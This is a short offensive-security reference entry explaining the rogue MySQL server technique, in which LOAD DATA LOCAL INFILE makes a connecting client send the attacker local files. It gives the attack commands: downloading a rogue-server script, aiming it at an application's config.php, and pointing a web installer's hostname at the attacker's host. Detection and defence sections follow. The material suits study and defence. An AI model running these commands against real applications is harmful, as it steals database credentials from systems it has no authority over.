Rogue MySQL server (LOAD DATA LOCAL INFILE)

MySQL/MariaDB's LOAD DATA LOCAL INFILE statement reads a file from the client (not the server) and loads it into a table. It is the server that decides which file to request. A rogue MySQL server abuses this: when a client with local-infile enabled connects, the server responds by asking it for an arbitrary file and keeps its contents. The result is a file read on the client machine.

The vector appears when a web application lets us choose which database to connect to (an installer, a configuration page). We point its MySQL client at our server and make it read whatever we want:

mysql -e "SHOW VARIABLES LIKE 'local_infile';"   # confirm the client has it ON
wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/master/roguemysql.php
php roguemysql.php    # filename to get: /var/www/html/app/config.php
curl 'http://<ip>/install.php?install=3&hostname=<lhost>'

The classic target is the app's own config.php/config_inc.php to steal database credentials (secrets in source) or hashes to crack later (hash cracking). It shares the spirit of other LFI issues: it reads, it doesn't execute.

Nuances. It depends on the client having LOCAL INFILE enabled (default in many older PHP clients; modern ones disable it). Only files readable by the user running the MySQL client are read. The app must, somehow, let you choose the database host.

How to detect it. The signature is an outbound connection to 3306 from the application server to an external IP (the attacker's "MySQL server"), which a legitimate client pointing at its internal DB never does; the access log also shows the installer/config request with a hostname=/dbhost= parameter pointing outward. At the protocol level, the exchange includes a local-file request packet from server to client (LOCAL INFILE request), unusual. The web process reading the app's own config.php right after that connection (FIM/auditd) confirms the exfiltration.

Defence. Disable local-infile on clients; don't expose installers or configuration pages that let you change the database host; and run the client with least read privilege.